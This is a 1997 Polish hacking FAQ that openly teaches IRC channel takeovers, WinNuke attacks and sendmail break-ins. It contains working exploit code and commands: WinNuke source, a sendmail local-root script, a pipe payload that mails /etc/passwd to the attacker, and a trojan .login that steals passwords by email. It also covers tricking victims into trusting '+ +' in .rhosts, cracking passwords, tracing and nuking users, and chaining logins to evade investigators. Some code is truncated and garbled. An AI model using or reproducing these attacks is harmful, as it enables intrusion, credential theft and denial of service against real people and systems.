P0WER'S HACK FAQ
                                                                  
                                 ver 0.4+ beta
                                            25.7.97         

Dobra zaczne od tego, ze nie ponosze zadnej odpowiedzialnosci jezeli ktos
zrobi sobie krzywde lub straci dostep do internetu. Sa to wiadomosci
napisane w celach edukacyjnych ;)

Ah i jeszcze cos, czesc materialow sam wymyslilem, a czesc to tylko zwalone
i przetlumaczone kawalki z innych hack faq! 

 I Czesc pierwsza, czyli hackowanie IRC

 1Triki IRC....................................: P0WER
 2 Skrypty ....................................: P0WER
 3 Przejmowanie kanalu.........................: P0WER
 4 Boty........................................: P0WER
U5 Winnuke , port 139 .........................: P0WER
 6 Wlam na konto dzieki IRC....................: P0WER
 7 Jak namierzac i nukowac gosci na irc........: lcamtuf

 II Czesc druga, czyli poczta.

 1 Wysylanie fakemaila.........................: P0WER
 2 Hackowanie sendmaila starszego niz 5.55.....: P0WER
N3 Root z sendmaila 8.8.4......................: MaLc00Lm + P0WER
N4 SENDMAIL 5.64...............................: lcamtuf
N5 SENDMAIL 5.65...............................: lcamtuf
N6 SENDMAIL 8.6.7..............................: lcamtuf
N7 SENDMAIL 5.x................................: lcamtuf
N8 SENDMAIL 4.1................................: lcamtuf
N9 SENDMAIL 8.6.9..............................: lcamtuf
N10 SENDMAIL 8.6.?.............................: lcamtuf

 III Jak hackowac, by nie narobic sobie klopotow.
 1 Podstawy....................................: P0WER
 2 Jak sie wlamac bezpiecznie..................: lcamtuf

 IV Unix - to slowo mowi wszystko.

 1 Jak zdobyc hasla, jesli sa shadowane........: P0WER + lcamtuf
 2 Jak dekryptowac hasla Unixa.................: P0WER
 3 Komendy Unixa...............................: P0WER
 4 Finger......................................: P0WER
 5 Jak komus zamknac konto(czasowo)............: P0WER
 6 Anonymous FTP...............................: P0WER
 7 Wlamac sie do servera jako guest............: lcamtuf
 8 Ping flood..................................: P0WER
 9 Jak kogos nastraszyc........................: P0WER
 10 Do czego sluza pliki .xxxxx ...............: P0WER
 11 Sciaganie passwd...........................: P0WER
 12 Jak zalozyc nowe konto.....................: P0WER
N13 ident-scan.c - skanuje dziury servera......: P0WER
N14 kill all processes.........................: P0WER

 V Dziury w WWW.
 1 phf.........................................: P0WER
 2 php.........................................: P0WER
N3 phpscan.c - skaner php......................: P0WER
N4 phpget.c - a jak myslisz???.................: P0WER

 VI Klopoty....................................: P0WER

 VII Unix bugs.................................: lcamtuf

 VIII Skrypty java

 1Killer java..................................: lcamtuf
 2Okno javy....................................: Angel

 IX Windown NT.................................: lcamtuf  

 X Cos dla lamerow.............................: P0WER

NXI Phreak.....................................: AnGeL

U - Updated
N - New 

1 Podejrzenia.
-------------------------------------
I Hackowanie IRC (no moze troche przesadzilem)

1 Triki IRC : P0WER

- Fakeowanie mass deopa.
   o  Zmien nicka na mode
   o /me change "-oooo    " on channel
 by 
   o mozesz dolozyc tez skrypt, ktor automatycznie bedzie dodawal nick
opow.

- Glupi zart
   o Zapros kogos na kanal #5,0 , jesli tam wejdzie, zostanie wyrzucony ze
wszystkich kanalow irc.

- Zdejmowanie +r
   o Napisz   /mode  -r+iw   - uwaga to juz nie dziala na wielu
serverach:(

2 Skrypty : P0WER

Dzis coraz wiecej osob uzywa roznych skryptow podczas pracy na IRC, sa to
skrypty pozdrawiajace i takie inne bzdety, ale na oczywiscie interesuja
skrypty wojenne tzw warscripts i ochronne portection scripts. 

- Skrypty wojenne:

Sa to skrypty sluzace do utrudniania zycia innym uzytkownikom irc , lub po
prostu do ich wyrzucania z IRC. Dzia│aja one glownie za zasadzie
floodowania, co pozwala czasem wyrzucic uzytkownika z IRC, lub wkurwi go
tak, ze sam sobie pojdzie.
Istnieja dwa glowne programy do IRC pod shita95. Pirch i Mirc. Obydwa
posiadaja setki skryptow wojennych, ktore mozna znalezc na wielu stronach
www (nie pytajcie mnie gdzie).
Nie polece wam tez zadnego skryptu wojennego, bo do Mirc testowalem kilka i
wszystkie byly slabe, a do Pircha sam napisalem sobie skrypt.
Nie bede tutaj tlumaczyl metod dzialania takich skryptow, ale wymienie
kilka podstawowych.
ctcp flood - floodowanie poprzez ping, version i inne funkcje ctcp, ktore
powoduje wyrzucenie uzytkownika z IRC. Zeby efekt Zeby efekt byl szybszy i
skuteczniejszy najlepiej jest floodzic kogos z kilku clonow (sa one
dostepne w lepszych werjach skryptow)
Dcc chat i send - Posylanie komus wielu lewych plikow i chatow, co w
lamerskich programach do irc powoduje otwieranie sie wielu okienek.
Msg flood - Powoduje to otwieranie sie wielu okienek z glupimi tekstami, co
jest strasznie wkuzajace.

- Skrypty do protekcji

Ale wszystko ma swoje czarne strony, bo istnieja skrypty do protekcji
sa to skrypty ktore powoduja ignorowanie adresu ip z ktorego floodujemy
klijenta, wtedy trzeba uzywac sprytu, lup poszukac slabych stron
przeciwnika.
(co sie bede o gownach rozpisywal)

3 Przejmowanie kanalu : P0WER

- Narzedzia - potrzebujesz Link lokkera(polecam windows link lookera pod
shita 95) i Multi colider bots(choc to drugie nie jest niezbedne).

- Odpalamy Link lookera i szukamy serverow, ktore odlaczyly sie od naszej
sieci.
- Laczymy sie z odlaczonym serverem i wchodzimy na kanal, ktory nas
interesuje, jezeli kanal byl pusty, a my nie mielismy +r to otrzymamy opa.
- Teraz warto siedziec po drugiej stronie, gdzie wszyscy siedza na kanale i
spisac kto ma opa.
- Nie jest to niezbedne, ale jesli kanalem rzadza ludzie doswiadczeni, to
lepiej odpalic multi colide bots, lub stworzyc dodatkowe sesje po
odlaczonej stronie splita, z nikami ludzi, ktorzy maja opa na kanale, ktory
jest celem.
- Czekamy na polaczenie(czasem sie nie doczekamy bo trwa to kilka dni, a
czasem trwa kilka minut, wiec trzeba sie spieszyc).
- Po polaczeniu czekamy az wszystkie nasz sesje zabija sie z sesjami osob
po drugiej stronie, ktore mialy opa.
- Pozniej po pelnej wymianie informacji przez servery mamy opa na obydwu
serverach i wtedy odbieramy opa wszystkim pozostalym osoba, ktorym udalo
sie przetrwac atak i kanal jest nasz.
- nie musze chyba mowic co wtedy robimy z kanalem: Invited only, key,
topic: Hacked by, moderate i inne takie wkurwiacze niszczace kanal!!!!
- Moze zdarzyc sie tez, ze namieszamy tak, ze servery nie beda mogly sie
dogadac i powstana lagi i desynchronizacje, wtedy servery beda polaczone,
ale kanaly tak do konca nie no i trzeba bedzie probowac jeszcze raz.
- Wiem ze moze niezbyt jasno opisalem ta metode, ale mowi sie trudno:) 

4 Bot : P0WER

Dobra to odddzielna sprawa i malo majaca wspolnego z haczeniem, wiec powiem
tylko poniewaz wielu ludzi pyta mnie jak zalozyc bota , ze trzeba miec
konto unixowe!!!(np na zhaczonym serverze), czes botow wymaga takze, zeby
server mial klijenta irc, czyli, ze jak telnetujesz sie na niego i
napiszesz irc, to wylondujesz w Irc. Proste no nie!!!!!!

5 Winnuke, port 139 : P0WER
Program winnuke sluzy do usypiania modemu pod shitem 95 lub NT.
Dzieje sie to glownie podczas sesji IRC, poniewaz tylko tam mozna sprawdzic
jaki kto ma adres ip. Jest to taka chamowa, ze nie wystarczy wylaczyc i
wlaczyc modemu, by znow polaczyc sie z Internetem, trzeba po prostu
zresetowac windowsy.
Ponizej macie kod zrodlowy tego programu.

--- CUT HERE ---

/* winnuke.c - (05/07/97)  By _eci  */
/* Tested on Linux 2.0.30, SunOS 5.5.1, and BSDI 2.1 */


#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define dport 139  /* Attack port: 139 is what we want */

int x, s;
char *str = "Bye";  /* Makes no diff */
struct sockaddr_in addr, spoofedaddr;
struct hostent *host;


int open_sock(int sock, char *server, int port) {
     struct sockaddr_in blah;
     struct hostent *he;
     bzero((char *)&blah,sizeof(blah));
     blah.sin_family=AF_INET;
     blah.sin_addr.s_addr=inet_addr(server);
     blah.sin_port=htons(port);


    if ((he = gethostbyname(server)) != NULL) {
        bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length);
    }
    else {
         if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {
           perror("gethostbyname()");
           return(-3);
         }
    }

        if (connect(sock,(struct sockaddr *)&blah,16)==-1) {
             perror("connect()");
             close(sock);
             return(-4);
        }
        printf("Connected to [%s:%d].\n",server,port);
        return;
}


void main(int argc, char *argv[]) {

     if (argc != 2) {
       printf("Usage: %s \n",argv[0]);
       exit(0);
     }

     if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
        perror("socket()");
        exit(-1);
     }

     open_sock(s,argv[1],dport);


     printf("Sending crash... ");
       send(s,str,strlen(str),MSG_OOB);
       usleep(100000);
     printf("Done!\n");
     close(s);
}

-----CUT HERE------
1 Przegraj to na jakies konto unixowe.
2 Zmien nazwe na win.c
3 skompiluj:   gcc win.c
4 teraz wystarczy napisac    ./a.out cel
5cel to adres domeny, lub ip goscia np:   ppp2-cst323.warszawa.tpnet.pl 
lub 194.160.132.70
ale pamietajcie ze dziala tylko naludzi z shitem 95 lun NT

A teraz powiem jak sie przed tym zabezpieczyc, przynajmniej na shicie 95.
- Uruchom program "regedit.exe" , znajduje sie on w katalogu twoich winow.
- Wejdz do podkatalogu
 Hkey_Local_Machine\System\CurrentControlSet\Services\VxD\MSTCP
- Potem nacisnij "Edycja" , "Nowy" , "Wartosc ciagu" i wpisz "BSDUrgent"
- Pozniej nacisnij "Edycja" , "Modyfikuj" i w pode "Dane wartosci" wpisz 0
(zero)

 Nie zapomnij potem zresetowac komputera.

6 Wlam na konto dzieki IRC : P0WER

Jesli dodasz "+ +" do czyjego pliku .rhosts spowodujesz, ze kazdy system
bedzie zaufany dla jego konta.
Pozwoli ci to na Remote login na jego konto bez podania hasla.
Jednym ze sposobow dodania tej linijki moze byc dodanie jej do jakiegos
popularnego skryptu IRC.
Mozna tez napisac wlasny skrypt i go zainfekowac. Oto linijka jak trzeba
dodac:
"exec echo + + > $HOME/.rhosts"... 
Lecz jesli uzytkownik jest glupi a ty bedziesz mial troche szczescia mozesz
dodac ta linijke bez skryptu IRC.
Mozesz powiedziec klijentowi zeby sam wpisal sobie taka inijke, ale
musialal by ona wygladac tak:
"/exec echo + + > $HOME/.rhosts"... 
W momencie kiedy palant doda "+ +" do do .rhosts wystarzy tylko wpisac:
"rlogin  -l "
np zey zalogowac sie na konto lamer@idioci.com.pl wystarczy wpisac:
rlogin idioci.com.pl -l lamer  - oczywiscie z konta unixowego.

Oto przyklad jak zalatwia sie tymlamera:

*Victim* Dude, do you have any IRC scripts??
/whois Victim
*** Victim is victim@any.system.net (John Doe)
*** on channels: #oralsex 
*** on irc via server irc-2.mit.edu ()
/exec echo "exec echo + + > $HOME/.rhosts" >> fenix.irc
/dcc send Victim fenix.irc
*** Sent DCC SEND request to Victim
*** DCC SEND connection to Victim[123.456.0.0,1383] established
*** DCC SEND:/home/myuser/fenix.irc to Victim completed 0.04004 kb/sec     
   
/msg victim just type: /load fenix.irc
-> *victim* just type: /load fenix.irc
*Victim* Ok, I did... thanks.
/msg victim no problem.
-> *victim* no problem.
/quit I am lame
*** Signoff: me (I am lame)
               
% rlogin any.system.net -l victim
Last login: Tue Feb 14 16:49:42 from secure.bellcore.com
SunOS Release 4.1.3 (ANY) #2: Fri Sep 9 06:12:28 PDT 1994

Default terminal emulation is vt100

For temporary storage please use /tmp 

You have mail.
ANY% ls
misc_porno    littleboy_nudes
ANY% exit
Connection closed.
% 

A tutaj maly dodatek. .login 'trojan' shell script, ktory zastepuje .login
file skryptem, ktory podczas logowania bedzie pokazywal, ze uzytkowniko
podal zle haslo.
Haslo bedzie przesylane na twoj adres maila, wiec widniejacy tam adres
zamien na twoj(ale jakis darmowy, zeby cie nie dupneli).
Mozesz uzywac tego po wejsciu na czyjes konto dzieki .rlogins jesli
koniecznie chcesz znac haslo klijenta.

Skrypt:

----START SCRIPT----
#!/bin/sh
rm -rf $0
cp $HOME/.login $HOME/.l
echo ''>$HOME/.hushlogin
echo "stty intr '^@'
echo 'Login incorrect'
echo -n 'login: '
echo $<>.t
echo -n 'Password: '
stty -echo
echo $<>>.t
mail yourname@your.mail.account.com<.t
rm .t
cat /etc/motd
mv .l .login
rm .hushlogin
stty echo
source .login">$HOME/.login
----END SCRIPT----

7 ** JAK NAMIERZAC I NUKOWAC GOSCI NA IRCU : lcamtuf

** NAMIERZANIE (nie dziala na laczacych sie przez tpnet):

Vrfy - patrzycie na irc-adres goscia (whois), powiedzmy ze jest to
lamer@komuter1.uczelnia.com. Nastepnie odpalacie telnet i patrzycie,
czy mozna sie polaczyc z portem 25 serwera komuter1.uczelnia.com. Jesli
tak to wpiszcie "vrfy lamer" (w miejsce "lamer" to co gosciu ma przed
znaczkiem
@ w irc-adresie). Jesli sie pojawi np. "Maciej Lamerski " to
macie juz
imie, nazwisko i e-mail na ktory mozna wysylac mail-bomby... Moze tez sie
pojawic
np. "cannot verify user", ale w takiej sytuacji e-mail to irc-adres. Jesli
nie dziala albo
pojawia sie cos w stylu "user unknown" - bierzecie DNS-skaner (dla
Win95/WinNT
polecam DNS-Workshop z http://sunsite.icm.edu.pl/tucows) i wpisujecie
adres
"komputer1.uczelnia.com".
Pojawi sie cos w stylu "IP address: 194.204.105.15". Wpisujecie wtedy
zamiast "komputer1.uczelnia.com" ten adres, z tym, ze ostatnia liczbe
zastepujecie znakiem '*'. Pojawi sie najpewniej bardzo duuuzo IP i nazw
komputerow i innego syfa, np:
194.204.105.0: No data
194.204.105.1: No data
.......
194.204.105.14: router.uczelnia.com
.......
194.204.105.15: komputer1.uczelnia.com
194.204.105.16: komputer2.uczelnia.com
.......
194.204.105.50: sklep1.mleczarnia.org.pl
....... (i tak dalej...)

Interesujacy jest adres wystepujacy na ogol przed stacjami roboczymi
(komputerX),
czyli router.uczelnia.com (zamiast router moze to byc: linux, unix, boss,
main,
zenon, angel :-). W kazdym razie ten oraz ew. kilka podobnych adresow
sprawdzamy
telnetem - jesli dziala im port 25 i "rozpoznaja" (vrfy!) uzytkownika
"lamer" (czy innego
szukanego...) - sukces, mamy goscia - jego e-mail to lamer@router.uczelnia.c
om.
Tak przy okazji oczywiscie dla wszystkich znalezionych komputerow warto
sprawdzic sendmaila, phf, ftp i wszystko inne, a na koniec nukowac
wszystkie
komputery robocze, bo najpewniej to sa windowsy :-)

** ROZWALANIE W RAZIE GDY WINNUKE NIE DZIALA

1. Na chama - nukujemy wszystkie komputery znalezione metoda poprzednia
2. Finger - jesli facet siedzi na unixie i ma irc-adres lamer@router.uczelni
a.com)
to mozna wyslac do niego finger (na adres lamer@router.uczelnia.com).
Unix zwroci dane delikwenta, komputer na ktorym ircuje (np.
komputer1.uczelnia.com). I TU GO MACIE, trzeba nukowac nie
serwer router.uczelnia.com, bo on pracuje na unixie, ale komputer klienta,
ktory najpewniej siedzi na windowsach - komputer1.uczelnia.com


II Poczta

1 Wysylanie fakemaili : P0WER
 - telnetuj sie na port 25 ( telnet mim.pcz.czest.pl 25 )
 - Jezeli to mozliwe pomin "HELO" 
 - pisz: mail from: {adres z jakiego chcesz to wyslac}
 - pisz: rcpt to: {osoba do ktorej piszesz list}
 - server pocztowy powinien pisac ok po kazdej funkcji.
 - jezeli cos nie bedzie gralo sprobuj jeszcze raz, ale zacznij od "HELLO"
 - pozniej wpisz: data {ENTER}
 - wpisz zawartosc listu
 - na koncu napis:   .
 - a pozniej: quit
 - jesli odbiorca to lamer, to nie dojdzie do ciebie po naglowku listu, a
jezeli jest dobry, to sprobuj uzyc   serverow, ktore nie dopisuja twojego
ip do listu(pozniej moze poszukam takich serverow).

2 Hackowanie starszego sendmaila niz 5.55 (sprawdzone na SunOs 4.1) :
P0WER

{telnetuj sie na port 25}
telnet mail.twoj.cel.pl 25  (albo wpisz lepiej 25 w okienku z portem)
{po dolaczeniu serwer napisze}
{220 ........}
mail from: "|/bin/mail twoj@email.pl < /etc/passwd"
{250 .....}
rcpt to: mickeymouse
{550 mickeymouse .. user unknown (nie pekaj)}
data
.
quit
{wszystko co nie jest w nawiasach wpisujesz ty[to dla lamerow])

3 Root z senmaila 8.8.4 : MaLc00Lm
- Musisz miec mozliwosc pisania do /var/tmp/dead.letter .
- potem robisz linka:
ln /etc/passwd /var/tmp/dead.letter
wszystko to na koncie ktore musisz miec na tym hoscie
- potem telnet na 25
- wysylasz maila FROM: jakis@palant.bla.bla
- TO: jakis@nie.istniejacy.adres
- DATA: hacker::0:0::/:/bin/sh
- list nie trafia nigdzie i jest zapisywany w pliku dead.letter, i
jednoczesnie w  etc/passwd
- no i masz nowe konto hacker z uprawnieniami roota

dead.letter moze byc czasem w innym katalogu(np uzytkownika) , wtedy uzyj
find'a
find / -name dead.letter


A to masz programik, ktory zrobi wszystko za ciebie:

---cut here---
#!/bin/bash
clear
echo
echo Sendmail 8.8.4 and 8.8.5 local exploit.
echo Scripting by p1 \(peewun@heterosexual.com\) on 4-15-97.
echo
if [ $1 = "-rm" ]
then
   echo Removing /var/tmp/dead.letter
   echo
   rm -rf /var/tmp/dead.letter
   echo Attempting to continue with exploit.
   echo
fi
if [ -e /var/tmp/dead.letter ]
then
    echo File exists: /var/tmp/dead.letter
    echo
    echo If you wish to run this exploit, please delete it by running this
    echo    exploit with the -rm flag.
    echo
exit
fi
ln -s /etc/passwd /var/tmp/dead.letter
cat >> unf << _EOF_
helo
mail from: very@bad.address.here
rcpt to: another@bad.bad.address
data
owned::0:0:exploitation:/:/bin/sh
.
_EOF_
cat unf | telnet localhost 25 >> /dev/null
rm -rf unf
echo
echo Please wait for dead.letter to possibly be appended to by sendmail.
echo
sleep 10
if grep exploitation /etc/passwd
then
    echo Successful addition of account 'owned' to /etc/passwd, running
'su.'
    su owned
else
    echo Unsuccessful exploitation of symbolic link bug.
fi
---eof---

4 SENDMAIL 5.64 : lcamtuf
Blad w programie uudecode, ktory ma dostep do .rhosts na koncie ofiary -
mozemy
za jego pomoca zmienic zawartosc tego pliku! Na poczatek trzeba zakodowac
programem uuencode - dla leni podaje wyglad zakodowanego juz pliku:
-- cut here --
$*R`K"@``
`
end
-- cut here --
Teraz telnetujemy sie na serwer: "telnet ofiara.com 25". Tak wyglada
sesja:

220 enterprise Sendmail 5.64/zippy-1.22.01 ready at Mon, 25 Jun 97 09:34:12
-0400 (GMT)
helo hacker
250 enterprise Hello hacker (ppp2-cst15.warszawa.tpnet.pl), pleased to meet
you
mail from: bin
250 bin... Sender ok
rcpt to: decode
250 decode... Recipient ok
data
354 Enter mail, end with "." on a line by itself
begin 644 /XXXX/.rhosts
$*R`K"@``
`
end
.
250 Ok
quit
221 enterprise closing connection

Hehe... Program uudecode dostanie do rozkodowania plik .rhosts zawierajacy
zakodowany tekst '+ +', rozpakuje go... I mozemy bez hasla zalogowac sie
na dowolne konto!!! PS. W miejsce XXXX wpiszcie nazwe konta hackowanego
uzytkowwnika (/home/lamer), albo na chama - konto roota (/root)...

5 SENDMAIL 5.65 : lcamtuf
Wywolanie dowolnych polecen z uprawnieniem roota? Spoko, nie trzeba miec
nawet konta:

220 www.urm.gov.pl 5.65c/IDA-1.4.4 Sendmail is ready at Mon, 8 Nov 1993
19:41:13 -0500
helo hacker
250 Hello cst2-ppp32.warszawa.tpnet.pl, why do you call yourself ?
mail from: |/usr/ucb/tail|/usr/bin/sh
250 |/usr/ucb/tail|/usr/bin/sh... Sender ok
rcpt to: root
250 root... Recipient ok
data
354 Enter mail, end with @.@ on a line by itself
#!/bin/sh
(...tu dowoooolne polecenia...)
.
250 Ok
quit
221 www.urm.gov.pl closing connection

6 SENDMAIL 8.6.7 : lcamtuf
Trzeba miec konto, ale jesli sie na nim wpisze:

/usr/lib/sendmail -oE/etc/shadow bounce
From: (nazwa twojego konta)

To dostaniesz w prezecie hasla, chocby byly shadowowane!!! Mozna tak
przeczytac
kazdy plik.

7 SENDMAIL 5.x : lcamtuf
Utworz plik 'test' o takiej zawartosci (XXXX znaczy to samo co w #5):

-- CUT HERE --
rcpt to: /XXXX/.rhosts
mail from: hacker
data
Test sendmaila
.
rcpt to: /XXXX/.rhosts
mail from: hacker
data
+ +
.
quit
-- CUT HERE --

A teraz wpisz "telnet ofiara.com 25  /tmp/a.c <
#include 
#include 
#include 
#include 
reap(){int s;while(wait(&s)!=-1);}main(ac,av)int ac;
int **av;{struct sockaddr_in mya;struct servent *sp
;fd_set muf;int myfd,new,x,maxfd=getdtablesize();
signal(SIGCLD,reap);if((myfd=socket(AF_INET,SOCK_STREAM,
0))<0)exit(1);mya.sin_family=AF_INET;bzero(&mya.sin_addr,
sizeof(mya.sin_addr));if((sp=getservbyname(av[1],"tcp"))
==(struct servent *)0){if(atoi(av[1])<=0)exit(1);mya.sin_port
=htons(atoi(av[1]));}else mya.sin_port=sp->s_port;if(bind(myfd,
(struct sockaddr *)&mya,sizeof(mya)))exit(1);if(listen(myfd,
1)<0)exit(1);loop: FD_ZERO(&muf);FD_SET(myfd,&muf);if
(select(myfd+1,&muf,0,0,0)!=1||!FD_ISSET(myfd,&muf))goto
loop;if((new=accept(myfd,0,0))<0)goto loop;if(fork()
==0){for(x=2;x
#include 
#include 

main(argc, argv)
int argc;
char **argv;
{
        execlp(argv[2] ? argv[2] : "sendmail","sendmail","-odq","-p",
        "ascii\nCroot\nMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nMlocal,
P=/bin/sh, F=lsDFMeu,
A=sh -c $u\nR<\"|/bin/cp /bin/sh /tmp/newsh\">\nR<\"|/bin/chmod 6777
/tmp/newsh\">\n$rascii ",
        argv[1] ? argv[1] : "atreus",0);
}
-- CUT HERE --

10 SENDMAIL 8.6.? : lcamtuf
Odczytanie pliku (potrzebne konto).

/usr/lib/sendmail -C/etc/shadow

III Jak hackowac by nie narobic sobie klopotow.

1 Podstawy : P0WER
  1 Nie zostawiaj nigdzie swojego imienia, nazwiska, telefonu i innych
danych. Nie posluguj sie tez danymi innych ludzi, zawsze uzywaj falszywych
danych.
  2 Na zhakowanych kontach uzywaj najlepiej imion kobiecych, sa mniej
podejrzane.
  3 Uwazaj z kim wymieniasz wiadomosci.
  4 Nie dawaj nikomu telefonu, kogo nie znasz.
  5 Nie hacz komputerow rzadowych.
  6 Badz podejrzliwy!
  7 Zadawaj pytania, lecz rob to delikatnie i nie licz, ze ktos wytlumaczy
ci wszystko od podstaw.

2 JAK SIE WLAMAC BEZPIECZNIE : lcamtuf

Na podstawie swoich doswiadczen moge wam powiedziec
jak bezpiecznie sie wlamac - kiedy po prostu wejdziesz
przez telnet na serwer to w logach zostanie zanotowane
"angel@dial003.zigzag.pl". Oto co mozna zrobic nie majac
nigdzie roota ani nie bawiac sie w czyszczenie logow:

0) Po zerowe - oczywiscie korzystaj z dial-upu TPSa :-)

1) Znajdujesz 2-3 serwery i rozkodowujesz okolo 4-5 kont
na kazdym. Najlepiej, zeby byly to serwery w roznych
krajach, np. Hong-Kong i Polska.
Powiedzmy, ze mamy takie serwery:
X.com, Y.com, Z.com, ofiara.com
oraz nastepujace konta:
X1, X2, X3, X4, Y1, Y2, Y3..., Z1, ofiara

2) Logujesz sie na X.com jako X1, wysylasz tam
"nowa" wersje strony. Pozniej przez telnet z tego
konta wpisujesz "ftp Y.com" i tam logujesz sie
jako "Y1"... UWAGA: Fizycznie jestes caly
czas podlaczony do X.com !!! Wysylasz na Y1
pliki. Pozniej wpisujesz na koncie X1 "telnet Y.com"
i piszesz "ftp X.com" i logujesz sie jako X2. Powtarzasz
wszystko dla konta X2... I tak kilka razy - zajmie to
z 10 razy wiecej czasu, ale zaraz zobaczysz w czym
tkwi kruczek. Caly czas jestes fizycznie polaczony 
tylko z X.com i zalogowany na koncie X1, a plik
jest juz na serwerze Y.com na koncie Y4 :-)

3) Po kilku petelkach mozesz wyslac jeszcze
wszystko wrzucic na Z.com i stamtad dopiero
(bedac caly czas zalogowany na X jako X1 !!!)
wpisac "ftp ofiara.com" i zastapic oryginalne
pliki nowymi. Pozniej wycofujesz sie kasujac
za soba pliki...
Najlepiej jeszcz miec roota na jednym z tych
serverow i zatrzec za soba slady powiedzmy tak
w polowie wyksowywujac sie z logow.

I co teraz? Admin serwera ofiara.com patrzy
w logi i widzi "Z1@Z.com". Pisze wiec
do root@Z.com ze ten gosciu sie wlamal.
Voila. Z1 idzie na spytki!
Ale moze sie okazac, ze cala afera sie
wyjasni i admin Z bedzie probowal szukac
dalej. Zajrzy do logow i zobaczy, ze na to konto
logowal sie "Y4@Y.com". Wysle wiec
odpowiedni list do root@Y.com (hmmm,
za granica, wiec admin musi sie niezle narobic).
Ten zas powtorzy caly scenariusz, po czym 
skapuje sie, ze logowal sie u niego "X4@X1.com".
Napisze wiec do root@X.com (znowu za granice,
bo do Polski). Ten znowu powtorzy caly scenariusz
i znowu napisze do roota serwera2, ze to przeciez
"Y3@Y.com" sie u niego logowal :-))))
Nie ma szans, zeby admini sie jakos dogadali,
zwlaszcza gdy jeden z serwerow jest poza krajem.

W sumie tyle zamieszania, ze na 100% admini sie
nie dogadaja, a jak sie nawet dogadaja, to minie
pol roku zanim dojda do tego, ze logowal sie
gosciu "noname@ppp2-cst222.warszawa.tpnet.pl"...
I co? Nic... Jesli beda bardzo uparci, to wysla
podanie do TPSa o ujawnienie wykazow bilingowych.
Minie kilka miesiecy zanim podanie zostanie rozpatrzone,
a po tym czasie wykazy TePSy beda juz od wielu
miesiecy na wysypisku... Hehehe.
Zdarza sie czasem, ze TPSA dziala szybciej i biling ujawnia
w niedlugim czasie, ale to musieli byscie juz niezle namieszac.
Poza tym przewaznie na TPSA wisi 100 - 200 modemow, wiec taki
biling to nie do konca jest dowod(chyba ze na serverze siedziales
kilka godzin. Dlatego trzeba dzialac szybko.  

(troche namacilem, ale nie wiem jak to jasniej wylozyc
bo to ma byc zagmatwane na maxa).
w razie problemow(pytan) to nie do mnie bo w 95% lcamtuf to napisal:) 

IV Unix

1 Jak zdobyc hasla, jezeli sa shadowane? : P0WER

Jezeli twoj system ma Yellow Pages file managment napisz:
ypcat /etc/passwd > jakis.plik

Mozna tez probowac tym programikiem, ale ja osobiscie w niego nie wierze:

#include 
main()
{
struct passwd *p;
while(p=getpwent())
printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
}

Jesli nie dziala ypcat /etc/passwd sprobuj ypcat passwd

2 Jak dekryptowac hasla unixa? : P0WER
Sluza do tego programy jak John the ripper, Cracker Jack, czy Killer Crack.
Ja uzywa, Johna 1.4 , ale wybor nalezy do was. Wszystkie te programy
dzialaja pod Dosem. Sa tez programy pod unixa np Crack5.0, ale go nie
testowalem.
Opisze tu obsluge Johna.
Na poczatku potrzebny jest slownik, ktore mozna znalezc na wielu stronach.
nazwijmy go slownik.txt
a plik z haslami ktory posiadamy passwd.txt
pierwsza metoda dziala bez slownika, jest najprostsza.
john -single -pwfile:passwd.txt
druga metoda dziala ze slownikiem.
john -pwfile:passwd.txt -wordfile:slownik.txt
trzecia metoda posluguje sie slownikiem i kombinacjami, jezesli -single
trwa kilka sekund, to -rulez kilka godzin, lecz to zalezy od slownika i
ilosci kont(powiedzmy 5 godz , przy 100 kontach i P150)
john -rules -pwfile:passwd.txt -wordfile:slownik.txt

3 Podstawowe komendy unixa : P0WER
cat - przeglada plik jak view. np: cat /etc/passwd ;)
chmod [mode] [plik] - zmiana dostepow do pliku.
chown [nick] [plik] - zmiana wlasciciela pliku. 
cd [dir] - zmiana katalogu,  cd .. cofanie sie o ktalog  
cp [plik] [plik] - kopiowanie z nowa nazwa.
diff [plik] [plik] - pokazywanie roznicy miedzy dwoma plikami. 
     -b -ignoruj puste miejsca    
find [skad_zaczac] -name [nazwa] - poszukiwanie plikow np: find / -name
passwd
finger [username] - informacje o uzytkowniku. Mozna tez z zewnatrz finger
user@server.pl
gcc plik - kompilacja
grep [wyraz] [nazwa pliku] - przeszukiwanie plikow za jakims wyrazem.
help - pomoc
irc - uruchomienie klijenta irc.
kill - ma powiazania z ps , moze zabijac procesy w pamieci korzystjac z
numeru PID.(patrz ps)
  $  kill -9 123
     [123]: killed
    mozna tez zabic siebie "kill -1 0"
ls - listowanie plikow  ls -l daje wiecej info o plikach i katalogach.
man [komenda] - pomoc w konkretnej komendzie.
mail - czytanie poczty
mkdir [katalog] - tworzenie nowego katalogu.
mv [plik] [plik] - zmiana nazwy pliku, lub przeniesienie do innego
katalogu.
passwd - zmiana hasla.
ps - pokazuje co robisz w pamieci i jaki to ma numer (PID)
     PID  TTY  NAME
     122  001  ksh
     123  001  watch
pwd - pokazuje w jakim jestesmu katalogu.
rm [plik] - kasuje plik
rmdir [katalog] - kasuje katalog gdy jest pusty.
rwho - to samo co who.
screen - dopalanie procesu w tle, np: by zostawic ircbota.
tar -xvf 8.tar - roztarowywanie pliku.
who - wypisuje info o zalogowanych uzytkownikach. 
write [login] - pisanie do innego zalogowanego uzytkownika.

4 Finger : P0WER
Czesc serverow zezwala na przesylanie fingera do innego hosta(redirections).


$ finger @host.jeden.pl@host.dwa.pl

finger pojdzie przes system jeden do drugiego, az tamten dowie sie ze to
pierwszy host poslal finger.
Moze to byc uzywane do ukrycia fingera, lub jako bardzo dokuczliwy trik.
Piszac:

$ finger @@@@@@@@@@@@@@@@@@@@@@@@@@@@@host.ktory.atakujesz.pl

Wtedy wszystkie @ beda powodowaly powtorzenia fingera po raz kolejny, moze
to doprowadzic do zwolnienia dzialania servera, zajecia mu czesci pamieci i
twardego dysku.
(robiac tak w kilku mozna niezle zamieszac w serverze)

5 JAk komus zamknac konto(czasowo) : P0WER
Niektore servery zamykaja dostep do konta po kilku nieudanych probach
podania hasla, lub po odczekaniu zbyt wielu sekund przy logowaniu.
Mozesz w ten sposob pozbawic jakiegos uzytkownika konta na jakis czas, ale
wystarczy ze poprosi on roota, a konto zostanie odblokowane.
